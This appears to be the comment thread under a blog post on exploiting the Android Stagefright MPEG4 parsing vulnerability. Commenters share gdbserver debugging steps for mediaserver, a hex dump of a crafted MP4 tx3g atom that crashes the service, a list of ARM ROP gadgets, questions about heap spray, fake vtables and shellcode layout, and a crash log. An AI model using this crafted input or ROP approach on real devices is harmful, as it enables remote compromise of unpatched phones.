ok, I found the answer how to debug it on my phone (with symbols). Need to compile libstagefright or everything with "-g" flag (look for CFLAGS in Makefile and set it there)

You can check if the lib is compiled with symbols by issuing for example "file" command (not stripped has to be shown, if it is stripped it is not good, it is without symbols)

file libstagefright.so
libstagefright.so: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), not stripped

On Mobile
adb forward tcp:12345 tcp:12345
adb shell
gdbserver :12345 --attach `pidof mediaserver`

On PC

1) Pull the libs (compiled with -g flag) from the phone for example to /tmp/sytem_lib

adb pull /system/lib /tmp/system_lib

2) Debug the binary

Copy the ARM version on your PC and debug it. Copy mediaserver binary to your PC.

gdb-multicharch /path/to/mediaserver

set architecture arm
set auto-solib-add on
target remote localhost:12345
set solib-search-path /tmp/system_lib

TADA ....

(gdb) cont
Continuing.

Breakpoint 1, android::MPEG4Extractor::parseChunk (this=this@entry=0xb8a33d48,
offset=offset@entry=0xbe8b14a0, depth=depth@entry=0)
at frameworks/av/media/libstagefright/MPEG4Extractor.cpp:867
867 status_t MPEG4Extractor::parseChunk(off64_t *offset, int depth) {
(gdb) l
862 strftime(tmp, sizeof(tmp), "%Y%m%dT%H%M%S.000Z", gmtime(&time_1970));
863



868 ALOGV("entering parseChunk %lld/%d", *offset, depth);
869 uint32_t hdr[2];
870 if (mDataSource->readAt(*offset, hdr, 8) < 8) {

871 return ERROR_IO;
(gdb) next
870 if (mDataSource->readAt(*offset, hdr, 8) < 8) {
(gdb) print hdr
$1 = {335544320, 1887007846}
(gdb) print depth

Reply

**Unknown** September 26, 2015 at 11:34 AM

Ok figured it out, learnt a lot on the way .... this was enough to crash "mediaserver" process on my mobile.

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001 ....ftypisom....
0000010: 6973 6f6d 0000 0050 7472 616b 0000 0018 isom... trak....
0000020: 7478 3367 4141 4141 4141 4141 4141 4141 tx3gAAAAAAAAAAAA
0000030: 4141 4141 0000 0001 7478 3367 ffff ffff AAAA....tx3g....
0000040: ffff ffe8 4242 4242 4242 4242 4242 4242 ....BBBBBBBBBBBB
0000050: 4242 4242 4242 4242 4242 4242 4242 4242 BBBBBBBBBBBBBBBB
0000060: 4242 4242

Reply

**Unknown** September 28, 2015 at 9:48 AM

I did read about ROP gadgets and chains and ROP programming. Seems, I need only to rewrite "pop_r0_r1_r2_r3_pc".

Below are "pop" only ROP gadget available in my libc.so from my mobile:

ROPgadget --binary libc.so --ropchain --only "pop"
Gadgets information
============================================================
0x0001061c : pop {r0, pc}
0x00042664 : pop {r1, pc}
0x00042d00 : pop {r3, pc}
0x0000f7dc : pop {r4, pc}
0x00041658 : pop {r4, r5, pc}
0x0004198c : pop {r4, r5, r6, pc}
0x00042c2c : pop {r4, r5, r6, r7, pc}

Unique gadgets found: 7

Can I somehow split the pop_r0_r1_r2_r3_pc into more gadgets? Which instructions will equal to pop_r0_r1_r2_r3_pc? Need some ARM ROP guidance.

Any resources and documentation that describe that is more than welcome :)

Thanks,

Reply

**Unknown** October 16, 2015 at 4:11 PM

Great explanation.
From the source code in MPEG4Extractor.cpp, I can see that for the 'stbl' chunk to trigger the MPEG4DataSource allocation the flags for the current mDataSource must contain kWantsPrefetching or kIsCachingDataSource. Is this always the case?
Also, as I unserstood it, the fake vtable should contain a pointer to the stack pivot in order to build the ROP stack. But, how can we gurantee that the vtable pointer which we overwrite will always point to the right place in memory? Why is the heap spray full of 0xCCs?

Thanks

Reply

**guest** December 1, 2015 at 8:40 PM

After checking the code I am a bit confused that the shellcode is put before ROP:
nop + shellcode + rop
So how it can jump into beginning of the rop from the craft vtable pointer?

Reply

**guest** December 1, 2015 at 10:00 PM

A bit confused that after checking the implementation, it seems the hellcode is put before ROP with heap layout as follows:
Nop+shellcode+ROP

So the how you jump into the beginning of ROP from the craft vtable pointer?

Reply



discuss about it?

Reply

**Unknown** June 5, 2016 at 9:06 AM

Tried you exploit, fixed it with a new ROPchain for my phone, but it does not seem to work. Any ideas where I should look for?

I/DEBUG ( 276): pid: 30002, tid: 30002, name: mediaserver >>> /system/bin/mediaserver <<<
I/DEBUG ( 276): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdeadbaad
I/DEBUG ( 276): Abort message: 'invalid address or address of corrupt block 0xb8ca9b00 passed to dlfree'
I/DEBUG ( 276): r0 00000000 r1 bee48b10 r2 deadbaad r3 00000000
I/DEBUG ( 276): r4 b8ca9b00 r5 b6e8c0d8 r6 00000000 r7 30303030
I/DEBUG ( 276): r8 bee494a0 r9 b8ca9b08 sl b66d282f fp b66d282f
I/DEBUG ( 276): ip 00000000 sp bee48f00 lr b6e5c15b pc b6e5c15c cpsr 600f0030
I/DEBUG ( 276):
I/DEBUG ( 276): backtrace:
I/DEBUG ( 276): #00 pc 0002915c /system/lib/libc.so (dlfree+1239)
I/DEBUG ( 276): #01 pc 0000f3bf /system/lib/libc.so (free+10)
I/DEBUG ( 276): #02 pc 0007eaff /system/lib/libstagefright.so (android::MPEG4Extractor::parseChunk(long long*, int)+7102)

Reply

**Add comment**

Enter your comment...

Comment as: Unknown (Goog | Sign out

Publish | Preview | Notify me